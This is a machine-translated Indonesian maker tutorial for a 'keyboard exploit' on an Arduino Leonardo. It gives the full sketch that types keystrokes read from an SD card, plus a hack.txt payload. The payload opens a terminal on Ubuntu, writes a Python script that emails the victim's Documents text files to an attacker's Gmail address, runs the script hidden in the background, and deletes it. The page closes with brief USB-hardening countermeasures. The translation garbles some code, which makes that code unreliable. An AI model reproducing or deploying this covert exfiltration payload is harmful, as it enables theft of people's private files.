Manufaktur industri
Industri Internet of Things | bahan industri | Pemeliharaan dan Perbaikan Peralatan | Pemrograman industri |
home  MfgRobots >> Manufaktur industri >  >> Manufacturing Technology >> Proses manufaktur

Demo Eksploitasi Keyboard Arduino (HID) dan Pencegahan

Komponen dan persediaan

Arduino Leonardo
× 1
Pembaca kartu SD
× 1
Kartu SD
× 1
Tekan tombol 3 pin (dengan resistor)
× 1
Kabel jumper (generik)
× 1
Kabel USB-A ke Micro-USB
× 1

Tentang proyek ini

Dalam proyek ini kita akan menggunakan Arduino Leonardo untuk mensimulasikan kemungkinan serangan USB menggunakan HID (perangkat antarmuka manusia).

Saya telah membuat tutorial ini bukan untuk membantu peretas tetapi untuk menunjukkan kepada Anda beberapa bahaya nyata dan bagaimana melindungi diri Anda dari bahaya tersebut. Perangkat ini bukan perangkat yang dapat digunakan pada platform apa pun untuk peretas, ini lebih merupakan bukti konsep secara detail.

Kita akan mempelajari hal berikut:

  • cara menggunakan arduino leonardo untuk meniru keyboard
  • cara membaca data dari kartu SD
  • cara membuat skrip python yang memindai file dan mengirimkannya melalui email
  • cara melindungi diri Anda dari perangkat peretasan USB

Langkah 1:Bahan

Bagian:

1. Arduino leonardo

2. pembaca kartu micro USB

3. beberapa kartu SD GB

4. tombol tekan seperti ini (VCC, Ground dan sinyal)

5. kabel jumper wanita-pria dan wanita-wanita

6. kabel micro USB ke USB

Langkah 2:Membangun Perangkat

Sebelum instruksi bangunan mari kita tinjau prinsip kerja:

Arduino leonardo dapat berperilaku seperti perangkat antarmuka manusia (HID) dan karena itu dapat meniru mouse dan keyboard. Kami akan menggunakan fitur ini untuk membuka terminal (di UBUNTU linux) dan menulis skrip kecil yang akan mengakses folder /Documents di dalam folder rumah pengguna file copy.txt di sana dan mengirimkannya melalui email ke seseorang. Jika Anda ingin mengetahui detail lebih lanjut, periksa langkah selanjutnya.

Karena ini adalah perangkat demo, semuanya sangat sederhana, kami tidak akan menyolder apa pun.

Instruksi bangunan

Sebelum kita mulai memeriksa file terlampir, saya telah melampirkan skema fritzing, dan semua file yang diperlukan

1. Merakit komponen:

* pasang kabel micro USB di arduino

* sambungkan key switch ke arduino (modul ground, vcc dan out ke D8)

* sambungkan card reader ke arduino (menggunakan header ICSP). Arduino leonardo tidak memiliki header ICSP yang terhubung ke pin digital sehingga Anda harus menghubungkan pembaca kartu ke header ICSP. Anda dapat menemukan beberapa gambar ICSP di sini:https://learn.sparkfun.com/tutorials/installing-an.... Hubungkan pin SS ke pin digital 10

2. dapatkan kode arduino , Anda dapat mengkloning repositori arduino saya di github:https://github.com/danionescu0/arduino dan buka proyek/keyboard_exploit atau dapatkan dari bawah:

#include "Keyboard.h"#include "SPI.h"#include "SD.h"String filenameOnCard ="hack.txt";String sleepCommandStartingPoint ="Sleep::";String commandStartingPoint ="Command ::";int delayBetweenCommands =10;const int buttonPin =8; const int chipPilih =10; int sebelumnyaButtonState =TINGGI; void setup() { pinMode(buttonPin, INPUT); Serial.begin(9600); Keyboard.mulai(); if (!SD.begin(chipSelect)) { Serial.println("Kartu gagal, atau tidak ada!"); kembali; }}void loop() { int buttonState =digitalRead(buttonPin); if ((buttonState !=sebelumnyaButtonState) &&(buttonState ==HIGH)) { sdFileToKeyboard(); Serial.println("Diunggah!"); penundaan (500); } PreviousButtonState =buttonState;}void sdFileToKeyboard() { File dataFile =SD.open(filenameOnCard); if (!dataFile) { Serial.println("Nama file yang ditentukan tidak ada di kartu SD, periksa namafileOnCard !"); } Garis tali; while (dataFile.available()) { baris =dataFile.readStringUntil('\n'); Serial.println(baris); sendToKeyboard(baris); } dataFile.close();}void sendToKeyboard(String line) { String workingLine =baris; if (workingLine.indexOf(sleepCommandStartingPoint) !=-1) { sleepFor(baris); kembali; } if (workingLine.indexOf(commandStartingPoint) ==-1) { Serial.print("Text:");Serial.println(line); Keyboard.println(baris); tekan enter(); kembali; } Serial.println("Perintah:"); int charPosition =commandStartingPoint.length(); int lineLength =garis.panjang(); garis kerja +=","; while (workingLine !="") { workingLine =workingLine.substring(charPosition); Serial.print("WorkingLine:");Serial.println(workingLine); int specialCommandDelimiterPosition =workingLine.indexOf(","); Perintah string =workingLine.substring(0, specialCommandDelimiterPosition); charPosition =specialCommandDelimiterPosition + 1; if (perintah !="") { Serial.print("Perintah ditemukan:");Serial.println(perintah); Keyboard.tekan(getCommandCode(perintah)); delay(delayBetweenCommands); } } Keyboard.releaseAll(); delay(delayBetweenCommands);}void pressEnter() { Keyboard.press(KEY_RETURN); Keyboard.releaseAll();}void sleepFor(String line) { int sleepAmount =line.substring(sleepCommandStartingPoint.length(), line.length()).toInt(); Serial.print("Tidur untuk:");Serial.println(sleepAmount); delay(sleepAmount);}char getCommandCode(String text) { char textCharacters[2]; text.toCharArray(textCharacters, 2); kode karakter =teksKarakter[0]; kode =(teks =="KEY_LEFT_CTRL") ? KEY_LEFT_CTRL :kode; kode =(teks =="KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT :kode; kode =(teks =="KEY_LEFT_ALT") ? KEY_LEFT_ALT :kode; kode =(teks =="KEY_UP_ARROW") ? KEY_UP_ARROW :kode; kode =(teks =="KEY_DOWN_ARROW") ? KEY_DOWN_ARROW :kode; kode =(teks =="KEY_LEFT_ARROW") ? KEY_LEFT_ARROW :kode; kode =(teks =="KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW :kode; kode =(teks =="KEY_RIGHT_GUI") ? KEY_RIGHT_GUI :kode; kode =(teks =="KEY_BACKSPACE") ? KEY_BACKSPACE :kode; kode =(teks =="KEY_TAB") ? KEY_TAB :kode; kode =(teks =="KEY_RETURN") ? KEY_RETURN :kode; kode =(teks =="KEY_ESC") ? KEY_ESC :kode; kode =(teks =="KEY_INSERT") ? KEY_INSERT :kode; kode =(teks =="KEY_DELETE") ? KUNCI_HAPUS :kode; kode =(teks =="KEY_PAGE_UP") ? KEY_PAGE_UP :kode; kode =(teks =="KEY_PAGE_DOWN") ? KEY_PAGE_DOWN :kode; kode =(teks =="KEY_HOME") ? KEY_HOME :kode; kode =(teks =="KEY_END") ? KEY_END :kode; kode =(teks =="KEY_CAPS_LOCK") ? KEY_CAPS_LOCK :kode; kode =(teks =="KEY_F1") ? KEY_F1 :kode; kode =(teks =="KEY_F2") ? KEY_F2 :kode; kode =(teks =="KEY_F3") ? KEY_F3 :kode; kode =(teks =="KEY_F4") ? KEY_F4 :kode; kode =(teks =="KEY_F5") ? KEY_F5 :kode; kode =(teks =="KEY_F6") ? KEY_F6 :kode; kode =(teks =="KEY_F7") ? KEY_F7 :kode; kode =(teks =="KEY_F8") ? KEY_F8 :kode; kode =(teks =="KEY_F9") ? KEY_F9 :kode; kode =(teks =="KEY_F10") ? KEY_F10 :kode; kode =(teks =="KEY_F11") ? KEY_F1 :kode; kode =(teks =="KEY_F12") ? KEY_F2 :kode;

kode kembali;}

3. Unggah kode ke arduino, pastikan untuk memilih 9600 baud rate, port serial dan arduino leonardo

4. Format kartu sd menggunakan FAT16 atau FAT32

5. Jika Anda mengkloning repo github dari atas, salin file hack.txt pada kartu, jika tidak file tersebut tercantum di bawah ini:

Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,tSleep::500vi hack.pySleep::300Command::KEY_INSERTimport smtplibimport glob, osdari os.path impor perluas penggunadari email.MIMEImpor multibagian MIMEMultibagiandari email.MIMEImpor teks dari email MIMEBase impor MIMEBase email.Utils import COMMASPACE, formatdatefrom email import Encoderssmtp_user ='sender_gmail_address'smtp_pass ='sender_gmail_password'to_address ='receiver_address'scan_documents_location ='Documents'subject =body ='Files dari komputer yang diretas' :{1}\nSubjek :{2}\n'.format(to_address, smtp_user, subject)def sendMail(to, subject, text, files=[]):msg =MIMEMultipart() msg['From'] =smtp_user msg ['Ke'] =COMMASPACE.join(ke) msg['Date'] =formatdate(localtime=True) msg['Subject'] =subject msg.attach(MIMEText(text)) untuk file dalam file:part =MIMEBase ('application', "octet-stream") part.set_payload(open(file,"rb").read()) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'Lampiran; filename="%s"' % os.path.basename(file)) msg.attach(part) server =smtplib.SMTP('smtp.gmail.com:587') server.starttls() server.login(smtp_user, smtp_pass) server.sendmail(smtp_user, to, msg.as_string()) server.quit()sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format (expanduser("~"), scan_documents_location)))Sleep::50Command::KEY_ESCSleep::100:xSleep::500nohup python hack.py &Sleep::700rm -rf hack.pySleep::400Command::KEY_LEFT_ALT,KEY_F4 

6. Edit baris berikut:

smtp_user ='sender_email_addr'smtp_pass ='sender_password'to_address ='receiver_address' 

Dan ganti dengan alamat email Anda

7. Keluarkan kartu dan masukkan ke dalam pembaca kartu arduino

sketch.fzz keyboard_exploit.ino hack.txt hack.py

Langkah 3:Cara Kerja Detail

Cara kerja serangan:

1. Saat tombol ditekan, leonardo akan membaca kartu sd menggunakan pembaca kartu sd. File khusus yang berisi kunci dan kombinasi tombol akan ada di kartu. Nama filenya adalah "hack.txt".

File dapat berisi teks mentah, dan akan diteruskan ke keyboard sebagaimana adanya.

Juga dapat berisi perintah khusus seperti "Sleep::" dan "Command::".

Garis seperti:

Tidur::200 berarti tidur 200 md

Garis seperti:

Command::KEY_LEFT_CTRL, KEY_LEFT_ALT, t berarti ctrl kiri ditekan, alt kiri ditekan, t ditekan dan dilepaskan semua

Anda dapat memeriksa semua kunci khusus di sini:https://www.arduino.cc/en/Reference/KeyboardModif...

2. Leonardo akan membaca baris demi baris, dan menafsirkan perintah dan meniru tombol pada keyboard. File "hack.txt" berisi kombinasi tombol yang melakukan hal berikut (untuk UBUNTU linux):

sebuah. membuka terminal (CTRL + ALT + T)

B. membuka file python untuk pembuatan menggunakan vi (menulis "vi hack.py"

C. menulis skrip python di dalamnya yang mengumpulkan semua file teks di dalam folder rumah dokumen dan mengirimkannya ke alamat gmail yang ditentukan

D. menjalankan file di latar belakang ("nohup python hack.py &")

e. menghapus file (rm -rf hack.py)

F. menutup terminal (ALT + F4)

Semua ini berjalan dalam beberapa detik dan tidak meninggalkan jejak.

Penyempurnaan dan pemecahan masalah

* Anda mungkin memperhatikan bahwa setelah saya membuka terminal saya sedang menulis file python. cara yang lebih baik untuk itu adalah dengan meng-host-nya di suatu tempat dan mengunduhnya menggunakan perintah "wget ​​some_url", lalu ganti namanya menjadi hack.py

* Kami juga dapat mengunduh atau menjalankan exploit siap pakai untuk sistem operasi yang ditargetkan

* wifi dapat ditambahkan ke modul, dan peretasan dapat diunggah melalui WIFI

* Anda dapat menggunakan arduino micro (yang jauh lebih kecil) dan menyematkan kode eksploit di dalamnya (untuk membuatnya lebih kecil)

Batasan

1. Karena perangkat simulasi (keyboard dan mouse) tidak memiliki umpan balik, kami tidak tahu apa yang akan terjadi setelah mengeluarkan perintah yang berarti kami perlu menggunakan penundaan. Misalnya saya mengeluarkan perintah untuk membuka terminal, tetapi saya tidak tahu kapan itu akan benar-benar terbuka, jadi saya perlu menentukan penundaan sewenang-wenang untuk memastikan karakter yang diketik setelahnya tidak akan hilang.

2. Kami mungkin mengalami masalah izin seperti tidak memiliki akses ke port USB atau izin untuk menginstal sesuatu

3. Kecepatan mengetiknya tidak terlalu bagus di leonardo

4. Hanya akan bekerja pada sistem operasi yang ditargetkan (dalam kasus kami UBUNTU linux)

Pada langkah selanjutnya akan mencoba mencari cara untuk mengeksploitasi batasan ini untuk mencegah komputer kita diretas

Langkah 4:Penanggulangan

1. Menonaktifkan port USB

- untuk windows Anda dapat memeriksa tutorial ini:http://www.thewindowsclub.com/disable-enable-usb-w...

2. Daftar putih perangkat USB:

- untuk windows:https://superuser.com/questions/1152012/block-unbl...

2. Kunci komputer Anda saat Anda tidak pergi

3. Jangan login sebagai root (memerlukan password untuk menginstal apapun)

4. Tetap perbarui diri Anda (pembaruan otomatis aktif)

Kode

  • keyboard_exploit.ino
  • Cuplikan kode #1
  • Cuplikan kode #2
keyboard_exploit.inoArduino
Kesalahan saat membuka file.
Cuplikan kode #1Teks biasa
#include "Keyboard.h"#include "SPI.h"#include "SD.h"String filenameOnCard ="hack.txt";String sleepCommandStartingPoint ="Sleep::";String commandStartingPoint ="Command::";int delayBetweenCommands =10;const int buttonPin =8; const int chipPilih =10; int sebelumnyaButtonState =TINGGI; void setup() { pinMode(buttonPin, INPUT); Serial.begin(9600); Keyboard.mulai(); if (!SD.begin(chipSelect)) { Serial.println("Kartu gagal, atau tidak ada!"); kembali; }}void loop() { int buttonState =digitalRead(buttonPin); if ((buttonState !=sebelumnyaButtonState) &&(buttonState ==HIGH)) { sdFileToKeyboard(); Serial.println("Diunggah!"); penundaan (500); } PreviousButtonState =buttonState;}void sdFileToKeyboard() { File dataFile =SD.open(filenameOnCard); if (!dataFile) { Serial.println("Nama file yang ditentukan tidak ada di kartu SD, periksa namafileOnCard !"); } Garis tali; while (dataFile.available()) { baris =dataFile.readStringUntil('\n'); Serial.println(baris); sendToKeyboard(baris); } dataFile.close();}void sendToKeyboard(String line) { String workingLine =baris; if (workingLine.indexOf(sleepCommandStartingPoint) !=-1) { sleepFor(baris); kembali; } if (workingLine.indexOf(commandStartingPoint) ==-1) { Serial.print("Text:");Serial.println(line); Keyboard.println(baris); tekan enter(); kembali; } Serial.println("Perintah:"); int charPosition =commandStartingPoint.length(); int lineLength =garis.panjang(); garis kerja +=","; while (workingLine !="") { workingLine =workingLine.substring(charPosition); Serial.print("WorkingLine:");Serial.println(workingLine); int specialCommandDelimiterPosition =workingLine.indexOf(","); Perintah string =workingLine.substring(0, specialCommandDelimiterPosition); charPosition =specialCommandDelimiterPosition + 1; if (perintah !="") { Serial.print("Perintah ditemukan:");Serial.println(perintah); Keyboard.tekan(getCommandCode(perintah)); delay(delayBetweenCommands); } } Keyboard.releaseAll(); delay(delayBetweenCommands);}void pressEnter() { Keyboard.press(KEY_RETURN); Keyboard.releaseAll();}void sleepFor(String line) { int sleepAmount =line.substring(sleepCommandStartingPoint.length(), line.length()).toInt(); Serial.print("Tidur untuk:");Serial.println(sleepAmount); delay(sleepAmount);}char getCommandCode(String text) { char textCharacters[2]; text.toCharArray(textCharacters, 2); kode karakter =teksKarakter[0]; kode =(teks =="KEY_LEFT_CTRL") ? KEY_LEFT_CTRL :kode; kode =(teks =="KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT :kode; kode =(teks =="KEY_LEFT_ALT") ? KEY_LEFT_ALT :kode; kode =(teks =="KEY_UP_ARROW") ? KEY_UP_ARROW :kode; kode =(teks =="KEY_DOWN_ARROW") ? KEY_DOWN_ARROW :kode; kode =(teks =="KEY_LEFT_ARROW") ? KEY_LEFT_ARROW :kode; kode =(teks =="KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW :kode; kode =(teks =="KEY_RIGHT_GUI") ? KEY_RIGHT_GUI :kode; kode =(teks =="KEY_BACKSPACE") ? KEY_BACKSPACE :kode; kode =(teks =="KEY_TAB") ? KEY_TAB :kode; kode =(teks =="KEY_RETURN") ? KEY_RETURN :kode; kode =(teks =="KEY_ESC") ? KEY_ESC :kode; kode =(teks =="KEY_INSERT") ? KEY_INSERT :kode; kode =(teks =="KEY_DELETE") ? KUNCI_HAPUS :kode; kode =(teks =="KEY_PAGE_UP") ? KEY_PAGE_UP :kode; kode =(teks =="KEY_PAGE_DOWN") ? KEY_PAGE_DOWN :kode; kode =(teks =="KEY_HOME") ? KEY_HOME :kode; kode =(teks =="KEY_END") ? KEY_END :kode; kode =(teks =="KEY_CAPS_LOCK") ? KEY_CAPS_LOCK :kode; kode =(teks =="KEY_F1") ? KEY_F1 :kode; kode =(teks =="KEY_F2") ? KEY_F2 :kode; kode =(teks =="KEY_F3") ? KEY_F3 :kode; kode =(teks =="KEY_F4") ? KEY_F4 :kode; kode =(teks =="KEY_F5") ? KEY_F5 :kode; kode =(teks =="KEY_F6") ? KEY_F6 :kode; kode =(teks =="KEY_F7") ? KEY_F7 :kode; kode =(teks =="KEY_F8") ? KEY_F8 :kode; kode =(teks =="KEY_F9") ? KEY_F9 :kode; kode =(teks =="KEY_F10") ? KEY_F10 :kode; kode =(teks =="KEY_F11") ? KEY_F1 :kode; kode =(teks =="KEY_F12") ? KEY_F2 :kode;

kode kembali;}

Cuplikan kode #2Teks biasa
Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,tSleep::500vi hack.pySleep::300Command::KEY_INSERTimport smtplibimport glob, osdari os.path impor perluas penggunadari email.MIMEImpor multibagian MIMEMultibagiandari email.MIMEBase impor dari emailMIMEBase imporMIMEBase dari MIMEBase imporMIMEBase import COMMASPACE, formatdatefrom email import Encoderssmtp_user ='sender_gmail_address'smtp_pass ='sender_gmail_password'to_address ='receiver_address'scan_documents_location ='Documents'subject =body ='File dari komputer yang diretas' :{1}{0}\nFrom' :{1}{0}\nFrom' \nSubjek :{2}\n'.format(ke_alamat, smtp_user, subjek)def sendMail(kepada, subjek, teks, file=[]):msg =MIMEMultipart() msg['Dari'] =smtp_user msg['Kepada '] =COMMASPACE.join(to) msg['Date'] =formatdate(localtime=True) msg['Subject'] =subject msg.attach(MIMEText(text)) untuk file dalam file:part =MIMEBase('application ', "octet-stream") part.set_payload(open(file,"rb").read()) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attac hment; filename="%s"' % os.path.basename(file)) msg.attach(part) server =smtplib.SMTP('smtp.gmail.com:587') server.starttls() server.login(smtp_user, smtp_pass) server.sendmail(smtp_user, to, msg.as_string()) server.quit()sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format (expanduser("~"), scan_documents_location)))Sleep::50Command::KEY_ESCSleep::100:xSleep::500nohup python hack.py &Sleep::700rm -rf hack.pySleep::400Command::KEY_LEFT_ALT,KEY_F4 
Github
https://github.com/danionescu0/arduinohttps://github.com/danionescu0/arduino

Skema

sketch_D4S1ftXkTU.fzz
Repositori Arduino
Sketsa ada di dalam project/keyboard_exploithttps://github.com/danionescu0/arduino

Proses manufaktur

  1. Animasi dan Permainan LCD
  2. Voltmeter DIY Menggunakan Arduino dan Smartphone
  3. Pencatat Data Suhu dan Kelembaban
  4. Arduino + LED + Keyboard MIDI + MuseScore =Tutor Piano
  5. Python3 dan Komunikasi Arduino
  6. Otomata Seluler berbasis Arduino dan OLED
  7. Radio FM Menggunakan Arduino dan RDA8057M
  8. Sistem Kehadiran Berbasis Arduino dan Google Spreadsheet
  9. Matriks Keyboard Prototipe 64-Key untuk Arduino
  10. Kalkulator Arduino